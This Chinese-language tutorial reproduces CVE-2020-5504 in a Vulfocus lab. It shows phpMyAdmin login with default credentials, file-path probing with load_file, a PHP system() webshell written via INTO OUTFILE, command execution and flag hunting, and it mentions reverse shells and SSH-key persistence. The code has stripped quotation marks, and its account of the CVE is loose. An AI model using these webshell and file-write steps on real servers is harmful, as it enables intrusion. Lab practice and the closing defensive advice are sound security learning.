保姆级教程:在Vulfocus靶场复现CVE-2020-5504(phpMyAdmin SQL注入到Getshell)

📅 2026/6/30 15:13:15
保姆级教程:在Vulfocus靶场复现CVE-2020-5504(phpMyAdmin SQL注入到Getshell)
从零实战在Vulfocus靶场复现phpMyAdmin SQL注入漏洞当你第一次打开Vulfocus靶场面对那个看似普通的phpMyAdmin登录界面时可能完全想象不到背后隐藏着一个可以让你完全掌控服务器的漏洞。本文将带你从零开始一步步复现CVE-2020-5504漏洞从发现漏洞点到最终获取服务器控制权。这不是一个简单的漏洞复现指南而是一次完整的渗透测试实战演练特别适合刚接触Web安全的新手。1. 环境准备与漏洞背景在开始之前我们需要先了解这个漏洞的基本情况和所需环境。Vulfocus是一个开源的漏洞靶场平台它集成了各种常见漏洞环境让安全研究人员可以在安全的环境中学习和练习漏洞利用技术。phpMyAdmin作为最流行的MySQL数据库管理工具之一其安全性一直备受关注。CVE-2020-5504漏洞允许攻击者通过精心构造的SQL查询绕过部分安全限制最终实现任意文件写入也就是我们常说的写马。所需工具清单已部署Vulfocus靶场环境本文使用IP:123.58.224.8:64697为例现代浏览器Chrome/Firefox推荐基础SQL知识一点点耐心提示实际操作时请确保使用自己的Vulfocus实例或获得授权的测试环境未经授权的渗透测试可能涉及法律问题。2. 漏洞发现与初步验证当你首次访问靶场提供的phpMyAdmin界面时可能会感到无从下手。让我们从最基本的步骤开始在浏览器中访问靶场提供的URL如http://123.58.224.8:64697在URL后添加/pma/index.php路径进入phpMyAdmin登录页面使用默认凭证登录通常为root/123456登录后我们来到了phpMyAdmin的主界面。这里就是漏洞利用的起点。这个版本的phpMyAdmin存在一个关键缺陷它没有对用户输入的SQL查询进行充分过滤。验证漏洞存在的简单方法SELECT version;如果这个查询能够正常执行并返回MySQL版本信息说明SQL查询功能可用为后续利用奠定了基础。3. 信息收集与路径探测在能够执行任意SQL查询后我们需要收集关键系统信息特别是文件系统路径。这是后续写入Webshell的关键步骤。3.1 获取数据库路径信息执行以下查询获取数据库存储路径SELECT datadir;这个命令会返回MySQL数据目录的绝对路径通常是类似/var/lib/mysql这样的路径。虽然这不是我们最终需要的Web目录但它能帮助我们推断系统的目录结构。3.2 确定Web根目录Web根目录是我们需要写入Webshell的目标位置。在不知道确切路径的情况下我们可以尝试一些常见路径SELECT load_file(/var/www/html/index.php);如果返回大量数据通常超过4KB说明这个路径存在且可读。通过反复尝试我们可以确定完整的Web路径。在我们的靶场环境中最终确定的路径是/var/www/html/pma/。注意在实际渗透测试中路径可能会因系统配置而异需要结合系统信息和经验判断。4. 构造Webshell与写入技巧有了Web目录的绝对路径我们就可以尝试写入Webshell了。Webshell是一段能够让我们通过Web接口执行系统命令的PHP代码。4.1 基本Webshell构造一个简单的Webshell代码如下?php echo pre; system($_GET[cmd]); echo /pre; ?这个代码会通过GET参数cmd接收系统命令执行后将结果包裹在pre标签中输出保持格式清晰。4.2 使用INTO OUTFILE写入文件将Webshell写入目标系统的SQL语句如下SELECT ?php echo \pre\;system($_GET[\cmd\]); echo \/pre\; ? INTO OUTFILE /var/www/html/pma/shell.php;执行成功后我们的Webshell就被写入到了/var/www/html/pma/shell.php路径。常见问题与解决方案权限问题如果写入失败可能是MySQL用户没有目标目录的写权限。可以尝试其他可写目录。安全限制某些系统配置可能限制INTO OUTFILE的使用。可以尝试修改phpMyAdmin配置或寻找其他写入方式。路径问题确保路径正确特别是注意斜杠方向Linux使用正斜杠/。5. 漏洞利用与系统控制成功写入Webshell后我们就可以通过它来执行系统命令了。5.1 基本命令执行访问写入的Webshell如http://123.58.224.8:64697/pma/shell.php并通过cmd参数传递命令http://123.58.224.8:64697/pma/shell.php?cmdls -l /这将列出根目录下的所有文件和目录验证我们的Webshell是否正常工作。5.2 查找flag文件在CTF和靶场环境中通常需要找到特定的flag文件。可以尝试以下命令find / -name *flag* 2/dev/null或者在常见位置查找ls /tmp/ cat /tmp/flag5.3 建立更持久的访问为了更方便地控制系统可以考虑写入更强大的Webshell如蚁剑连接用的shell创建反向shell连接添加SSH公钥实现免密登录6. 漏洞原理深度解析为什么这个漏洞能够被利用让我们深入分析其技术原理。6.1 SQL注入点分析这个漏洞的核心在于phpMyAdmin对用户输入的SQL查询没有进行充分的过滤和检查。虽然phpMyAdmin作为一个数据库管理工具需要执行用户提供的SQL语句但它应该限制某些危险操作如INTO OUTFILE。6.2 文件写入机制MySQL的INTO OUTFILE功能原本是为了将查询结果导出到文件但在这里被滥用来写入任意文件内容。关键在于MySQL服务需要有目标目录的写权限phpMyAdmin配置不能禁用此功能攻击者需要知道Web目录的绝对路径6.3 权限与配置问题这个漏洞的利用还依赖于一些常见的配置问题MySQL服务以高权限账户运行Web目录和数据库目录权限设置不当phpMyAdmin的安全配置不严格7. 防御措施与安全建议了解如何利用漏洞后更重要的是知道如何防御。以下是一些有效的安全措施服务器加固建议将MySQL服务运行在专用低权限账户下严格控制Web目录的写权限定期更新phpMyAdmin到最新版本phpMyAdmin安全配置禁用INTO OUTFILE和LOAD_FILE等危险功能启用双重认证限制允许访问phpMyAdmin的IP地址监控与日志监控异常的SQL查询特别是包含INTO OUTFILE的查询定期检查Web目录下是否有可疑的PHP文件启用详细的访问日志并定期审计在实际渗透测试中每完成一个漏洞利用都应该思考如何防御它。这种双向思维不仅能帮助你更好地理解漏洞也能提升你的安全防护能力。